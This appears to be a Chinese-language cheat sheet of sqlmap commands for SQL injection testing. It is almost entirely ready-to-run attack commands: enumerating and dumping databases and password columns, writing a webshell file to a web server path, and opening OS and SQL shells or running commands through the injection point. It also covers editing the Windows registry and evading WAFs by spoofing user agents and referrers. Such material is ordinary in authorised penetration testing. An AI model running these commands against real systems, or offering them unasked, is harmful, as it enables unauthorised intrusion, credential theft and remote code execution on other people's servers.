说明

https://github.com/sqlmapproject/sqlmap.git
至于参数详细说明,感觉没多大必要,篇幅也不够长,放张图即可,有需要自己看即可

  1. python3 sqlmap.py -h

image-20220125105822550

常用命令

检测注入

  1. sqlmap -u URL -v 3 --random-agent # 判断注入
  2. sqlmap -u URL -p id # 指定参数注入
  3. sqlmap -u URL --cookie="xxxxx" # 带 cookie 注入
  4. sqlmap -u URL --batch # 不要请求用户输入,使用默认行为
  5. sqlmap -r "burpData.req" # post 型注入
  6. sqlmap -u URL --flush-session # 清除缓存
  7. sqlmap -u URL --os "Windows" # 指定操作系统
  8. sqlmap -u URL --dbms mysql --level 3 # 指定数据库类型为 mysql,级别为 3(共 5 级,级别越高,检测越全面)
  9. sqlmap -u URL --dbms Microsoft SQL Server
  10. sqlmap -u URL --dbms mysql --risk 3 # 指定执行测试的风险(1-3, 默认 1) 1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加 OR 语句的 SQL 注入测试
  11. sqlmap -u URL --proxy "socks5://127.0.0.1:1080" # 代理注入测试
  12. sqlmap -u URL --batch --smart # 启发式判断注入

获取信息

  1. sqlmap -u URL --current-db # 获取当前数据库
  2. sqlmap -u URL --dbs # 枚举所有数据库
  3. sqlmap -u URL -f # 检查 DBMS 版本
  4. sqlmap -u URL --is-dba # 判断当前用户是否是 dba
  5. sqlmap -u URL --users # 列出数据库管理系统用户
  6. sqlmap -u URL --privileges # 枚举 DBMS 用户权限
  7. sqlmap -u URL --passwords # 获取当前数据库密码
  8. sqlmap -u URL -D DATABASE --tables # 获取数据库表
  9. sqlmap -u URL -D DATABASE -T TABLES --columns # 获取指定表的列名
  10. sqlmap -u URL -D DATABASE -T TABLES -C COLUMNS --dump # 获取指定表的列名
  11. sqlmap -u URL -dbms mysql -level 3 -D test -T admin -C "username,password" -dump # dump 出字段 username 与 password 中的数据
  12. sqlmap -u URL --dump-all # 列出所有数据库,所有表内容

搜索字段

  1. sqlmap -r "burpData.req" -dbms mysql -D dedecms --search -C admin,password # 在 dedecms 数据库中搜索字段 admin 或者 password.

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限.

  • -file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
  • -file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
  • -file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 ```

    注 : mysql 不支持列目录,仅支持读取单个文件.sqlserver 可以列目录,不能读写文件,但需要一个 xp_dirtree 函数

    sqlmap -r “burpData.req” —file-dest “e:\php\htdocs\dvwa\inc\include\1.php” —file-write “f:\webshell\1112.php”
  1. ### **提权**

sqlmap -u URL —sql-shell # 获取一个 sql-shell 会话 sqlmap -u URL —os-shell # 获取一个 os-shell 会话 sqlmap -u URL —os-cmd=ipconfig # 在注入点直接执行命令 sqlmap -d “mssql://sa:sql123456@ip:1433/master” —os-shell # 知道数据库密码后提权成为交互式系统shell

  1. ### **对 Windows 注册表操作**

—reg-read # 读取注册表值 —reg-add # 写入注册表值 —reg-del # 删除注册表值 —reg-key,—reg-value,—reg-data,—reg-type # 注册表辅助选项

sqlmap -u URL —reg-add —reg-key=”HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” —reg-value=Test —reg-type=REG_SZ —reg-data=1

  1. ### **预估完成时间**

—eta # 计算注入数据的剩余时间

  1. ### **测试 WAF/IPS/IDS 保护**

—identify-waf # 尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。 —mobile # 模仿智能手机 —referer “http://www.google.com“ # 模拟来源 —user-agent “Googlebot/2.1(+http://www.googlebot.com/bot.html)” # 模拟谷歌蜘蛛 —skip-waf

  1. ### **尝试 getshell**

sqlmap -d “mysql://root:root@192.168.1.1:3306/mysql” —os-shell

  1. ### **宽字节检测**

sqlmap -u URL —dbms mysql —prefix “%df%27” —technique U -v 3 # 宽字节检测

  1. ### **union 语句测试**

—union-cols=UCOLS 测试UNION查询的SQL注入的列的范围 —union-char=UCHAR 用来破解列数的字符 —union-from=UFROM 在UNION查询的FROM部分中使用的表

  1. ### 个人常用语句

risk3 一般用于查询的功能,如果是update语句一定不要!!!

基础

python3 sqlmap.py -r burpData.req —batch —random-agent -v 3 —level 3 —risk 3 —threads 5

指定一些参数

python3 sqlmap.py -r burpData.req —batch —random-agent -v 3 —level 5 —risk 3 —threads 5 —dbms postgresql —technique=T —os-cmd whoami —proxy socks5://127.0.0.1:10808 —force-ssl —tamper xxx

```